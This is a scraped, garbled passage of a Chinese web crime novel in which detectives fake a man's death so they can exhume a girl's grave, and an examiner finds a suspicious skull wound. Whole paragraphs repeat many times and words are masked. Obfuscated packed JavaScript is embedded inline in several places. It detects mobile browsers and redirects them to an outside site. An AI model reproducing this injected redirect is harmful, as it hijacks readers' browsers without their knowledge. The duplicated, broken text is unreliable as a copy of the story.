要是两名刑警都抓不住一个凶手,那这一起**吧。 时间就这么一分一秒的过去。 酒店里很安静,什么都没有发生。 躺在床上的向浩然,从开始的紧张,差一点睡着。 床底下的那个,都快要开始打呼了。 这一夜,凶手没有出现。 但第二天还是传来了噩耗。 向浩然,**。 因为晚上太高兴了,喝了一杯酒,酒精和药物产生了排斥过敏,送进急救室里,没抢救过来。 死的十分潦草。 叫什么事儿啊,今天这场婚礼,真是他职业生涯中难忘的一幕。 仪式结束,大家该吃吃,该喝喝。 楚隽招呼人,送向浩然去休息。 宾馆里,安排了几个房间。 向浩然送进了其中一个套房。 众人松了一口气。 “你休息一会儿。”楚隽对向浩然说:“我去看看还有什么事情,一会儿过来。你要是有什么不舒服,就打电话,这里有内线电话。” 向浩然点了点头。 楚隽就走了。 房间的门没有关,只是掩上了。 这是给凶手留下的时间和空间。 如果对方准备有所行动,就是现在了。 楚隽出去转了一圈,没有回来。 套房里,向浩然躺在卧室的床上。 床底下,躲着他的兄弟。 两人随时可以一跃而起。 凶手有各种算计,只能证明他脑子好使,心机深沉。但是,只要他露面,就不怕抓不住。 要是两名刑警都抓不住一个凶手,那这一起**吧。 时间就这么一分一秒的过去。 酒店里很安静,什么都没有发生。 躺在床上的向浩然,从开始的紧张,差一点睡着。 床底下的那个,都快要开始打呼了。 这一夜,凶手没有出现。 但第二天还是传来了噩耗。 向浩然,**。 因为晚上太高兴了,喝了一杯酒,酒精和药物产生了排斥过敏,送进急救室里,没抢救过来。 死的十分潦草。 第325章 亲家 这种死亡理由确实十分草率着急,但是也没有其他的办法了。 纸是包不住火的,这件事情虽然现在知道的人少,但总还是有人知道,有各种漏洞。 多耽误一天,就多一些暴露的风险。 所以要速战速决。 在消息扩散之前,把这事情给办了。 等挖开坟看一看,不外乎两种情况。 一种是,坟里的骸骨经过法医检验,确实并非死于车祸,或者说,并非单一的死于车祸。骸骨上能看出,车祸以外的致命伤。 要么,看不出来。 别管是不是,反正看不出来。 看出来才是证据,检验不出来的,疑罪从无。 要是能看出来,就可以直接把焦雨花父母带走了。 要是看不出来,只好进一步想办法刺激凶手。 焦雨花的真实死因,除了焦家的人,凶手也很有可能知情。 向浩然**,这事情来得措手不及。 向爸爸向妈妈在病房里哭得惊天动地。 安暖也在一旁陪着劝了一会儿,一边劝,一边观察。 虽然知道儿子没死,但老两口哭得真情实感。 向妈妈握着安暖的手,一边哭一边说。 “作孽啊,作孽啊。我怎么生了这么一个儿子。 安暖安抚的拍了拍向妈妈的手。 她都懂。 虽然向浩然没死,但确实挺作孽的。 这一桩桩一件件都是什么破事儿,向浩然这是受伤了,还挺严重,又毕竟是亲生的,要不然的话,高低地狠狠地揍一顿,让他以后做事靠谱点。 这边一哭,像真的一样。 哭完之后,就涉及到办理后事。 楚隽提出,这个后事,可能有一点麻烦,不能直接办。 当天下午,向浩然父母找到了焦家。 焦成顺夫妻俩还没歇下,正坐在堂屋里发呆。 那天楚隽走后,虽然没有再来过,可也不知怎么了,总觉得心里不踏实,总觉得要出事。 能出什么事呢? 夫妻俩在家里商量来,商量去,实在是觉得不安。 好像脑袋上悬了块石头一样。 不知道什么时候会掉下来,又随时会掉下来。 两人听见汽车的声音,就觉得眉心直跳。 村子里,可没谁家有汽车。一般也没人开汽车进村,难得的现象。 车,在自家门口停了下来。 焦成顺一 下子站了起来。 “该不会又是警察来了吧?焦成顺烦躁道:“怎么就盯上我们了,不会真要出事了吧? 吕美燕用手使劲儿攥了攥衣摆:“冷静点,不要慌。 楚隽第二次来,熟门熟路了,带着向浩然父母就往院子走来。 咚咚咚。 “有人在家吗? 焦成顺听着敲门声,冷静了一下,这才去开门。 门一开,吓了一大跳。 这回不仅仅是楚隽和安暖两个人。 还有两个上了年纪的,一男一女。 两人的精神状态很差,但是一穿着,就知道不是普通的人家。 两人手里,还都拎着东西,大包小包的礼品。 焦成顺迟疑道:“你们……找谁? 楚隽介绍道:“向叔叔,这两位,就是焦雨花的父母。 焦成顺茫然点了点头。 “是,我是焦雨花的父亲。你们是什么人? 向爸爸当下就将礼物放下了,然**着焦成顺的手,来了句。 “亲家! 焦成顺瞪大了眼睛,张了张嘴,来了一句。 “啊? 他真的搞不懂。 “亲家?什么亲家?吕美燕也走了过来,看着穿西装的向爸爸,脑子里就跟堵了一样。 焦成顺看向楚隽:“楚队长,这是怎么回事? 楚隽等他惊讶够了,这才说:“这两位,是向浩然的父母。 这句话解释得很清楚了,但两个人的脑子更不好使了。 “我是向浩然的父亲。向爸爸说:“你们大概还不知道,浩然他…… 说着,向爸爸哽咽了,向妈妈又开始抹眼泪了。 他们俩段时间的压力实在太大,不用多演,想着就想哭。 焦成顺忍不住道:“他怎么了? 他知道向浩然受伤了,但是不知道他已经**。 向爸爸长长地叹了一口气。 “他走了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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向爸爸十分善解人意:“没有结婚的孩子,去了地下也是孤家寡人。巧了,楚队长跟我说了,其实浩然已经跟你家姑娘,结过婚了。三年前,他们就举办了婚礼。” 冥婚也是婚,冥婚的仪式,怎么就不算是婚礼呢。 向爸爸理所当然地说:“既然如此,那咱们不就是亲家了吗?” 第326章 没有拒绝的理由 向爸爸说的每一句话都合理。 让焦成顺觉得,不是这么回事儿啊,但却说不出一句反驳的话来。 “是,但是……” 焦成顺只觉得荒谬。 “不要但是了,咱们就是亲家。”向爸爸牢牢握住焦成顺的手:“亲家,我们这次过来,就是想跟你商量一下,给他们俩合葬的事情。” “啊?” 这个人怎么老是啊? 向爸爸十分不满意。 “亲家,你这是什么意思?难道要悔婚不成?”向爸爸说:“小楚已经带我们去看过了,三年前你家女儿下葬,用的是双人墓。墓碑上刻着的也是两个人的名字。如今我儿子出了这事情,自然要合葬。” “合葬?”焦成顺总算是反应过来了:“你的意思是,要把坟挖开?” 向爸爸用一种,你真奇怪的表情看着焦成顺。 “当然,不然还能怎么办?” 吕美燕当下就说:“不行,不行,怎么能开坟,这也太不吉利了。” 向爸爸立刻就不乐意了。 “亲家母,你这话怎么说呢,怎么就不吉利了。双人墓下葬,哪家不是如此,难道还能那么巧,夫妻俩一起下葬吗?不过你家那个位置确实不好,我们家给孩子买了块极好的墓地,请人看的风水,你将我儿媳妇的棺材起出来,一并移过去。” 向爸爸好像在谈的不是两个过世之人的下葬事宜,而是活着的儿子儿媳妇的婚礼一样。 这一下,给焦成顺夫妻俩整不会了。 要是楚隽上来就要开棺,他们有一百个拒绝的理由。 可向爸爸这是用魔法打败魔法,用焦成顺夫妻的逻辑来和他们说话,几乎立于不败之地。 最终,焦成顺说:“这事情实在是太突然了,这样,让我们夫妻俩商量一下。” “行,那你们商量,但是要快啊。”向爸爸说:“来之前,我们去找金大师算过日子。明日是就好的日子,最好开棺。这也是我们来得那么着急的原因,实在是不能拖了。” 连金大师都请过了,可见这件事情有多么的严肃认真。 送走向爸爸一行,焦家房间里的灯,久久地亮着,亮了半夜。 半夜,院子的门开了。 夫妻俩实在是坐不住了,出门直奔金大师的住处。 金大师在村子里确实还是有威望的,他们可能不相信楚隽,不相信向家的人,但还是相信金大师的。 可惜了,金大师比他们要聪明多了。 已经去找了他一趟,他知道什么该说,什么不该说。 焦成顺夫妻用金大师家里回来,心情更沉重了。 “现在怎么办?”焦成顺也没了主意,问吕美燕:“难道真的要挖坟吗?” “好像也没有别的办法了。”吕美燕说:“谁能想到呢,向浩然竟然**。他……他看着也不像是这么短命的样子啊。” 这个观点焦成顺却不同意。 他冷哼了一声。 “当年,就是喝多了开车才出的事儿。这次又是,怎么就不短命了?” 别的不提,焦成顺这话说得是很有道理的。 “那就挖吧。”吕美燕叹了口气:“当初是咱们要求合葬的,现在不让开棺,实在是说不过去。要是真闹起来,不占理啊。而且……” 不用吕美燕多说,焦成顺也懂。 这两年,靠从向浩然手里拿的钱,他们的日子过得是富的流油,舒舒服服。 现在向浩然**,后面就很麻烦。 由奢入俭难啊。 家里虽然还有一些存款,但并不多。这点钱还要供儿子上学,根本就不够。 这个钱花完怎么办?现在让他们再去过以前的生活,在地里刨一口粗茶淡饭,那是真的不适应。 “我知道你的意思。”焦成顺叹了口气:“要是这次跟向家扯上关系,以后还有理由找他要钱。要不然的话,以后咱们可就真断了财路了。” “对,没错。”吕美燕连连点头。 既然当年就是合葬,这也是天意,当下,夫妻俩下了决定。 就这么办。 第二天上午,楚隽又带着向浩然父母来了。 他们以为,焦成顺夫妻俩还要纠结一阵子呢。没想到他们竟然那么爽快的就同意了。 纠结拒绝,就是心里有鬼。 这么快就同意了。 是觉得人已经**那么久了,所以不可能被查出什么。 还是说,他们真的那么坦荡? 但不管是哪一种原因,事情已经到了这个地步,这个棺,开也要开,不开也要开了。 这事情毕竟不是什么好事儿,不能大张旗鼓。 也不用通知亲戚朋友。 焦家,就去焦成顺夫妻两人。 其他所有的事情,都由向家负责。 焦成顺夫妻不但没觉得有什么不好,反而很满意。 每一个步骤都是要花钱的。 请风水先生,做法事,请人来挖坟,重新下葬, 每一件事情都要花钱。 他们以前有向浩然的供养,花钱大大咧咧。 现在财路断了,就不舍得了。 有冤大头向家愿意花钱,那当然是最好的。 能花别人的钱,为什么要花自己的。 金大师算了时辰,最佳时间,就在今夜。 天黑之后。 为了假戏做的真,向家真的运来了一口棺材。 棺材已经钉**。 不钉死不行,毕竟里面没人,只有几块和人差不多重量的石头。万一焦成顺突发奇想要看看女婿,那就瞒不住了。 好在他们没有那么多心眼。 棺材都抬来了,这还能有假。 两人甚至还安慰了向浩然父母一番,这场面很难评。 抬着棺材来的,准备挖坟的,都是精壮小伙儿。 向家请来的人。 反正焦成顺夫妻也不认识刑警队其他的人。 乔主任也来了,不过乔主任这年纪看着也不是来挖坟的。金大师介绍:“这是我朋友,颇懂风水。正巧这几日在我那里做客,就请他一起来看看。” 焦成顺夫妻听了,十分高兴。 又多了一位大师。 焦成顺甚至给金大师递了一根烟,但是被婉拒了。 被拒绝后,焦成顺觉得高冷的大师更带感了。 很快,坟就被挖开了。 露出里面一副已经腐烂的很厉害的棺材。 每一件事情都要花钱。 他们以前有向浩然的供养,花钱大大咧咧。 现在财路断了,就不舍得了。 有冤大头向家愿意花钱,那当然是最好的。 能花别人的钱,为什么要花自己的。 金大师算了时辰,最佳时间,就在今夜。 天黑之后。 为了假戏做的真,向家真的运来了一口棺材。 棺材已经钉**。 不钉死不行,毕竟里面没人,只有几块和人差不多重量的石头。万一焦成顺突发奇想要看看女婿,那就瞒不住了。 好在他们没有那么多心眼。 棺材都抬来了,这还能有假。 两人甚至还安慰了向浩然父母一番,这场面很难评。 抬着棺材来的,准备挖坟的,都是精壮小伙儿。 向家请来的人。 反正焦成顺夫妻也不认识刑警队其他的人。 乔主任也来了,不过乔主任这年纪看着也不是来挖坟的。金大师介绍:“这是我朋友,颇懂风水。正巧这几日在我那里做客,就请他一起来看看。” 焦成顺夫妻听了,十分高兴。 又多了一位大师。 焦成顺甚至给金大师递了一根烟,但是被婉拒了。 被拒绝后,焦成顺觉得高冷的大师更带感了。 很快,坟就被挖开了。 露出里面一副已经腐烂的很厉害的棺材。 每一件事情都要花钱。 他们以前有向浩然的供养,花钱大大咧咧。 现在财路断了,就不舍得了。 有冤大头向家愿意花钱,那当然是最好的。 能花别人的钱,为什么要花自己的。 金大师算了时辰,最佳时间,就在今夜。 天黑之后。 为了假戏做的真,向家真的运来了一口棺材。 棺材已经钉**。 不钉死不行,毕竟里面没人,只有几块和人差不多重量的石头。万一焦成顺突发奇想要看看女婿,那就瞒不住了。 好在他们没有那么多心眼。 棺材都抬来了,这还能有假。 两人甚至还安慰了向浩然父母一番,这场面很难评。 抬着棺材来的,准备挖坟的,都是精壮小伙儿。 向家请来的人。 反正焦成顺夫妻也不认识刑警队其他的人。 乔主任也来了,不过乔主任这年纪看着也不是来挖坟的。金大师介绍:“这是我朋友,颇懂风水。正巧这几日在我那里做客,就请他一起来看看。” 焦成顺夫妻听了,十分高兴。 又多了一位大师。 焦成顺甚至给金大师递了一根烟,但是被婉拒了。 被拒绝后,焦成顺觉得高冷的大师更带感了。 很快,坟就被挖开了。 露出里面一副已经腐烂的很厉害的棺材。 每一件事情都要花钱。 他们以前有向浩然的供养,花钱大大咧咧。 现在财路断了,就不舍得了。 有冤大头向家愿意花钱,那当然是最好的。 能花别人的钱,为什么要花自己的。 金大师算了时辰,最佳时间,就在今夜。 天黑之后。 为了假戏做的真,向家真的运来了一口棺材。 棺材已经钉**。 不钉死不行,毕竟里面没人,只有几块和人差不多重量的石头。万一焦成顺突发奇想要看看女婿,那就瞒不住了。 好在他们没有那么多心眼。 棺材都抬来了,这还能有假。 两人甚至还安慰了向浩然父母一番,这场面很难评。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16003427|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 抬着棺材来的,准备挖坟的,都是精壮小伙儿。 向家请来的人。 反正焦成顺夫妻也不认识刑警队其他的人。 乔主任也来了,不过乔主任这年纪看着也不是来挖坟的。金大师介绍:“这是我朋友,颇懂风水。正巧这几日在我那里做客,就请他一起来看看。” 焦成顺夫妻听了,十分高兴。 又多了一位大师。 焦成顺甚至给金大师递了一根烟,但是被婉拒了。 被拒绝后,焦成顺觉得高冷的大师更带感了。 很快,坟就被挖开了。 露出里面一副已经腐烂的很厉害的棺材。 每一件事情都要花钱。 他们以前有向浩然的供养,花钱大大咧咧。 现在财路断了,就不舍得了。 有冤大头向家愿意花钱,那当然是最好的。 能花别人的钱,为什么要花自己的。 金大师算了时辰,最佳时间,就在今夜。 天黑之后。 为了假戏做的真,向家真的运来了一口棺材。 棺材已经钉**。 不钉死不行,毕竟里面没人,只有几块和人差不多重量的石头。万一焦成顺突发奇想要看看女婿,那就瞒不住了。 好在他们没有那么多心眼。 棺材都抬来了,这还能有假。 两人甚至还安慰了向浩然父母一番,这场面很难评。 抬着棺材来的,准备挖坟的,都是精壮小伙儿。 向家请来的人。 反正焦成顺夫妻也不认识刑警队其他的人。 乔主任也来了,不过乔主任这年纪看着也不是来挖坟的。金大师介绍:“这是我朋友,颇懂风水。正巧这几日在我那里做客,就请他一起来看看。” 焦成顺夫妻听了,十分高兴。 又多了一位大师。 焦成顺甚至给金大师递了一根烟,但是被婉拒了。 被拒绝后,焦成顺觉得高冷的大师更带感了。 很快,坟就被挖开了。 露出里面一副已经腐烂的很厉害的棺材。 每一件事情都要花钱。 他们以前有向浩然的供养,花钱大大咧咧。 现在财路断了,就不舍得了。 有冤大头向家愿意花钱,那当然是最好的。 能花别人的钱,为什么要花自己的。 金大师算了时辰,最佳时间,就在今夜。 天黑之后。 为了假戏做的真,向家真的运来了一口棺材。 棺材已经钉**。 不钉死不行,毕竟里面没人,只有几块和人差不多重量的石头。万一焦成顺突发奇想要看看女婿,那就瞒不住了。 好在他们没有那么多心眼。 棺材都抬来了,这还能有假。 两人甚至还安慰了向浩然父母一番,这场面很难评。 抬着棺材来的,准备挖坟的,都是精壮小伙儿。 向家请来的人。 反正焦成顺夫妻也不认识刑警队其他的人。 乔主任也来了,不过乔主任这年纪看着也不是来挖坟的。金大师介绍:“这是我朋友,颇懂风水。正巧这几日在我那里做客,就请他一起来看看。” 焦成顺夫妻听了,十分高兴。 又多了一位大师。 焦成顺甚至给金大师递了一根烟,但是被婉拒了。 被拒绝后,焦成顺觉得高冷的大师更带感了。 很快,坟就被挖开了。 露出里面一副已经腐烂的很厉害的棺材。 每一件事情都要花钱。 他们以前有向浩然的供养,花钱大大咧咧。 现在财路断了,就不舍得了。 有冤大头向家愿意花钱,那当然是最好的。 能花别人的钱,为什么要花自己的。 金大师算了时辰,最佳时间,就在今夜。 天黑之后。 为了假戏做的真,向家真的运来了一口棺材。 棺材已经钉**。 不钉死不行,毕竟里面没人,只有几块和人差不多重量的石头。万一焦成顺突发奇想要看看女婿,那就瞒不住了。 好在他们没有那么多心眼。 棺材都抬来了,这还能有假。 两人甚至还安慰了向浩然父母一番,这场面很难评。 抬着棺材来的,准备挖坟的,都是精壮小伙儿。 向家请来的人。 反正焦成顺夫妻也不认识刑警队其他的人。 乔主任也来了,不过乔主任这年纪看着也不是来挖坟的。金大师介绍:“这是我朋友,颇懂风水。正巧这几日在我那里做客,就请他一起来看看。” 焦成顺夫妻听了,十分高兴。 又多了一位大师。 焦成顺甚至给金大师递了一根烟,但是被婉拒了。 被拒绝后,焦成顺觉得高冷的大师更带感了。 很快,坟就被挖开了。 露出里面一副已经腐烂的很厉害的棺材。 第327章 取出骸骨 开棺总体来说是一件可怕的事情,更别说晚上,那就更可怕。 但一般来说,如果这坟里是自己的亲人,不会觉得害怕,只会觉得伤心难过。 可焦成顺夫妻不一样,他们一直都害怕,站得远远的,仿佛坟里的人不是他们的女儿,而是他们的仇人。 向爸爸说:“这棺材都已经烂成这个样子了,金大师,是不是要换一具棺木。” “是。”金大师说:“这棺木的质量太差,不过三年,怎么烂得如此厉害?” 为什么? 当然是因为便宜。 要不是因为会被人看见,怕被人说三道四戳脊梁骨,焦家估计连一口薄棺都不想给女儿准备。裹一床席子就差不多了。 安暖看了一眼焦成顺夫妻,他们俩脸上倒是也有愧疚之色。 但是更多的是害怕。 “这样吧。”楚隽打圆场:“棺木烂成这样,肯定是要换了。向叔,要不然,这事情你叫人去办吧。” 一副好的棺材,那可不便宜。 向家出手,买的肯定贵。 “行。”向浩然父亲一口就应了,然后吩咐身边的人几句。 手下应着,便离开了。 买棺材,可不是去街边上的杂货店买床被子,没有那么容易。 何况现在已经是晚上了。 向浩然说:“就算是再快,估计也得凌晨回来了。” 这还是在白事铺子有现货的情况下,要是现做,怎么也十来天才行。 “好,好。”焦成顺连忙说:“那就麻烦亲,亲家了。” 虽然开始觉得别扭,但喊多了也就顺口了。 有这么有钱的亲家,这是多少人梦寐以求的好事情啊。 “行,没问题,这是我应该做的。”向浩然父亲道:“都是一家人,不用跟我客气。” 焦成顺松了一口气。 “亲家。”向浩然父亲关心道:“我看你和亲家母的脸色,很不好看。” 焦成顺叹了一口气。 这两日发生了这么多事情,这心情是起起落落,落落落落,那脸色能好得起来吗?就昨天晚上夫妻俩加一起也没睡五个小时。 “昨晚上没睡好。”焦成顺按着额头叹了口气:“一闭眼,就想到雨花和浩然。” “是,我这些日子也没睡好。孩子出了这种事,咱们做父母的……哎……” 向爸爸这全是真情实感,没有一点演技。 他又不是个演员,要是单靠演技那是不行 的。可现在真是想想就想哭半点也不勉强。 四个亲家恨不得抱头痛哭还是都能哭得出来的那种。 两人互相安慰了两句向浩然说:“亲家这棺木一时半会儿也来不来要不然我让人送你们回去休息休息。等棺木来了再接你们过来。” 焦成顺夫妻俩都有些犹豫。 但是这两天没睡好确实很累。 这地方又荒凉又阴森又冷实在不是个好地方。 “放心吧。”向爸爸说:“你们安心休息我带人守在这里。自家的儿子媳妇你还有什么不放心的。” 焦成顺想想也是便应了。 “那我们就回去了辛苦亲家了。”焦成顺夫妻俩一步三回头地上了车。 车很快就消失在黑夜中。 一直到汽车彻底消失楚隽说:“好了大家开工抓紧时间。” 不过这也没有必要太藏着。 现在要做的事情是把骸骨从破烂的棺材里清理出来。 反正是要换棺材的肯定要把骸骨从棺材里清理出来就算是焦成顺在其实也要有这个步骤。只是他在的话刘主任做事就会觉得很别扭。 毕竟他不是金大师的朋友是个法医做事和神棍是不一样的。 刘主任招呼大家开始做事。 棺木已经烂的没办法掀起完整的盖子只好跳进坟里一块一块地往外拿。 所有人都戴上了口罩手套就连安暖也跃跃欲试地要帮忙。 楚隽感慨:“你是真一点儿都不怕啊。” “咱们俩都认识多久了你怎么还会生出如此感叹?”安暖不以为意:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16012275|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我去给刘主任帮忙之前我在法医室帮忙的时候刘主任可劲儿的夸我。” 对刘主任来说一个非专业的姑娘能在法医室帮忙没昏过去大喊大叫鬼哭狼嚎哭爹喊娘没吐这就已经是一件值得夸奖的事情了。 更别提她是真能干活儿。 虽然不专业但是大方向不过。而且听话认真让做什么简单就能说明白一点儿也不拖后腿。 要不是因为安暖是楚隽的未婚妻他想来想去觉得可能确实抢不来早就已经动了念头了。 他也打听了安暖。 知道她其实不是**部门的人 简单来说安暖是一张白纸但是非常好学而且学习能力非常强。 既然如此为什么非要在刑警队学习刑侦技术呢?怎 么就不能在法医室学习解剖验尸呢?虽然挺难,但一个天才,学什么都会成功的。 刘主任看着非常坦然在破烂棺材里找骸骨的安暖,生出一种抢人没抢到的遗憾之心。 可惜了,可惜了啊。 拼凑骸骨可不是件容易的事情。 好在刘主任也不是非要把每一块骨头都给找齐全了,才能开始检验。 重要的,主要的部分,肯定是要有的。 比如头骨,肋骨,手臂,腿,不但要找,还要清理。 骸骨埋在地下三年,开始还有棺材挡一挡,后来就在各种腐烂物体之间。不清理干净,看不清楚上面的痕迹。 两个小时后,初具人形的骸骨终于拼凑好了。 刘主任在地上铺了一块塑料布,骸骨就放在地上。 向浩然父亲决定了,等这事情结束,就把焦雨花的骸骨放进现在这具棺木里。 这可是上好的棺木,一般人买不起的。 焦雨花是个可怜的姑娘,就算他们和焦家不是真正的亲家,也可怜这个无辜的女孩子。 “刘主任,怎么样?”楚隽在刘主任身边蹲了下去。 刘主任拿起一截手臂,摇头叹了口气。 “这姑娘的胳膊肯定不好,你们看这个骨头。” 第328章 致命伤 安暖也凑过去看。 能看得出来,刘主任指的地方,确实有轻微的区别。 “死者的手臂曾经骨折过。”刘主任说:“而且,骨折之后没有得到及时医治,又或者,手臂再恢复的过程中,没有得到良好的休养,没有恢复好。所以,有些错位了。她平时这只手臂的功能肯定受了影响,可能不是特别严重,但一定有些吃力。” 焦雨花死的时候,也不过十三岁。 这骨折的旧伤,至少在两年之前。 那时候不过是十岁左右。 这个时候的骨骼自愈能力是很强的,只要家里注意,恢复得好,完全可以不留下任何后遗症,和普通人一样。 可如果恢复不好,就麻烦了。 骨折发生后,要立即就医。 有些只是骨裂,有些会错位。 不管怎么样,都要立刻将这一截骨头固定,绝不能再移动。不然的话,本来没有错位的,动来动去,可能就会错位。 没有错位的骨折,只要固定就行,一个月的时间,就会慢慢长好,恢复如初。 可一旦错位,很多时候就必须动手术了。不然伤者痛苦,而且,恢复时间也会变得很长。 如果骨折之后,错位没有复位,就这么直接长愈合了,就可能出现畸形愈合。 比如长骨骨折可能导致骨头玩去,成角,或者短缩。在外观上,肢体可能出现明显的畸形,活动也可能受到一定的限制。 这些,如果人是好好的,要通过影像学检查才能看见骨头上的形态与正常的差异。 现在倒是好了。 只剩下骨头了,不用那么复杂了。 肉眼可见。 安暖沉声道:“焦雨花在家里的日子,过得很惨。父母非打即骂,还要承担家里大部分的家务活儿。就算焦雨花的死和他们没有关系,但也一定做过很多过分的事情,要不然的话,哪有父母面对女儿的骸骨,不但不伤心难过,反而害怕成这个样子的?” 重男轻女的父母,恨不得把女儿身上的血都榨干,骨头都拆了去供养儿子。 辱骂动手,这都是小事。 那种把如花似玉二十岁大姑娘嫁给五十岁老光棍,女儿不从就直接捆上往人家床上送的,安暖都见过。 只是这种事情,就算是见十次一百次,也依然意难平。 焦成顺父母既然已经被请回去了,一时半会儿是不会来的,刘主任安心地检查骸骨。 焦雨花骸骨上,不止手臂一处的骨折旧伤, 还有好几处,都是明显的伤痕。 这可不是尸体上的明显伤痕,这是骸骨上的明显伤痕。 大家看得都觉得义愤填膺,只希望这世上真的有鬼。 如今他们把坟挖开了,焦雨花的魂魄为什么不出来,去找父母算账呢? **,这一口气也该咽不下才对。 突然,刘主任说:“有了。” 在一旁打着手电的安暖和楚隽心里都是一惊。 “看这里。” 刘主任已经检查到了头颅。 焦雨花的头颅后方,有一处凹陷的破口。 “这是脑袋被砸了一个洞?”一旁卢瑞泽惊了:“脑袋上破了这么大的一个洞,人活不了了吧?” “八成活不了。”刘主任说:“之前,楚队跟我说了当时的情况。焦雨花是正面撞上汽车的,就算是力量很大,撞伤的也应该是系身体的正面。” 正面的脸,或者前胸。 被撞之后,向浩然立刻停了车。 就当当时的冲击力很大,焦雨花被撞了一下之后,就往后飞去,被撞飞了。 然后又落了地。 这种情况下,可能是后脑勺着地。 “但是,绝对不是这样的伤痕。”刘主任捧着骷髅,非肯定的说:“我确定,这个凹陷绝对不是撞在地上能撞的出来的,这个伤口,是一个非常小,但是很坚硬的物体造成的。” 比如说,一个小锤子。 所以这个伤口才会这么小。 楚隽终于直起身体,长长的松了一口气。 不敢靠太近,但是一直在关注事件进展的向浩然父母,也松了一口气。 不管怎么说,焦雨花的死,有了疑点。 即便不是故意的,只是一起交通事故,也没人希望自己儿子是凶手。哪怕受害者已经接受了赔偿,背上一条人命,总是非常不愉快的事情。 不是凶手,当然最好。 向浩然这几年内心一定非常不安,要不然不会一次一次地任由焦成顺敲诈,短短两年多给了二十万。也不会在听见小女孩儿唱歌的时候,就一跃而起,想要去焦雨花坟前看看。 这事情他没有说过,但不代表他能忘记或者坦然接受。 只要这事情存在一天,他就是向浩然的心魔,心里的一个疙瘩,永远都过不去。 向浩然母亲握着丈夫的手,眼泪汪汪的。 当年要不是因为她重病,向浩然也不会因为害怕刺激她,所以选择了隐瞒。 如果他当时坚定的送医院,或者报警,当时就能查出焦雨花的真实死因,根本就不会有后续的这些事情。 安暖看着骨头上的洞,说:“这么看来,当年焦雨花父母急匆匆的要和向浩然私了,果然是有原因的。” 在这件事情上,焦成顺夫妻俩的反应,太着急了。 按理说着急的应该只有向浩然才对。 就算焦成顺夫妻俩不在乎女儿的生死,开始就想要用向浩然身上要点钱,也不该那么着急。 完全可以拖延拖延,谈谈条件,以达到多找向浩然要点钱的目的。 “他们就算不是凶手,也和凶手脱不了关系。”楚隽说:“我看他们的反应,对焦雨花虽然内疚,但也不像是凶手。要是凶手,只会更激动。” 但即便他们俩不是凶手,也一定是在掩饰什么。 安暖说:“焦家,不是有一个车祸之后不久就远远地躲开的人吗?” 一个农村里的少年,就算有钱了,也少有人会想着出国。 焦雨花的哥哥,却一个人远走他乡。 他到底是有如此先进的理念呢,还是在躲避什么呢? 楚隽道:“看样子,要把这个人也弄回来才行。” 还有好几处,都是明显的伤痕。 这可不是尸体上的明显伤痕,这是骸骨上的明显伤痕。 大家看得都觉得义愤填膺,只希望这世上真的有鬼。 如今他们把坟挖开了,焦雨花的魂魄为什么不出来,去找父母算账呢? **,这一口气也该咽不下才对。 突然,刘主任说:“有了。” 在一旁打着手电的安暖和楚隽心里都是一惊。 “看这里。” 刘主任已经检查到了头颅。 焦雨花的头颅后方,有一处凹陷的破口。 “这是脑袋被砸了一个洞?”一旁卢瑞泽惊了:“脑袋上破了这么大的一个洞,人活不了了吧?” “八成活不了。”刘主任说:“之前,楚队跟我说了当时的情况。焦雨花是正面撞上汽车的,就算是力量很大,撞伤的也应该是系身体的正面。” 正面的脸,或者前胸。 被撞之后,向浩然立刻停了车。 就当当时的冲击力很大,焦雨花被撞了一下之后,就往后飞去,被撞飞了。 然后又落了地。 这种情况下,可能是后脑勺着地。 “但是,绝对不是这样的伤痕。”刘主任捧着骷髅,非肯定的说:“我确定,这个凹陷绝对不是撞在地上能撞的出来的,这个伤口,是一个非常小,但是很坚硬的物体造成的。” 比如说,一个小锤子。 所以这个伤口才会这么小。 楚隽终于直起身体,长长的松了一口气。 不敢靠太近,但是一直在关注事件进展的向浩然父母,也松了一口气。 不管怎么说,焦雨花的死,有了疑点。 即便不是故意的,只是一起交通事故,也没人希望自己儿子是凶手。哪怕受害者已经接受了赔偿,背上一条人命,总是非常不愉快的事情。 不是凶手,当然最好。 向浩然这几年内心一定非常不安,要不然不会一次一次地任由焦成顺敲诈,短短两年多给了二十万。也不会在听见小女孩儿唱歌的时候,就一跃而起,想要去焦雨花坟前看看。 这事情他没有说过,但不代表他能忘记或者坦然接受。 只要这事情存在一天,他就是向浩然的心魔,心里的一个疙瘩,永远都过不去。 向浩然母亲握着丈夫的手,眼泪汪汪的。 当年要不是因为她重病,向浩然也不会因为害怕刺激她,所以选择了隐瞒。 如果他当时坚定的送医院,或者报警,当时就能查出焦雨花的真实死因,根本就不会有后续的这些事情。 安暖看着骨头上的洞,说:“这么看来,当年焦雨花父母急匆匆的要和向浩然私了,果然是有原因的。” 在这件事情上,焦成顺夫妻俩的反应,太着急了。 按理说着急的应该只有向浩然才对。 就算焦成顺夫妻俩不在乎女儿的生死,开始就想要用向浩然身上要点钱,也不该那么着急。 完全可以拖延拖延,谈谈条件,以达到多找向浩然要点钱的目的。 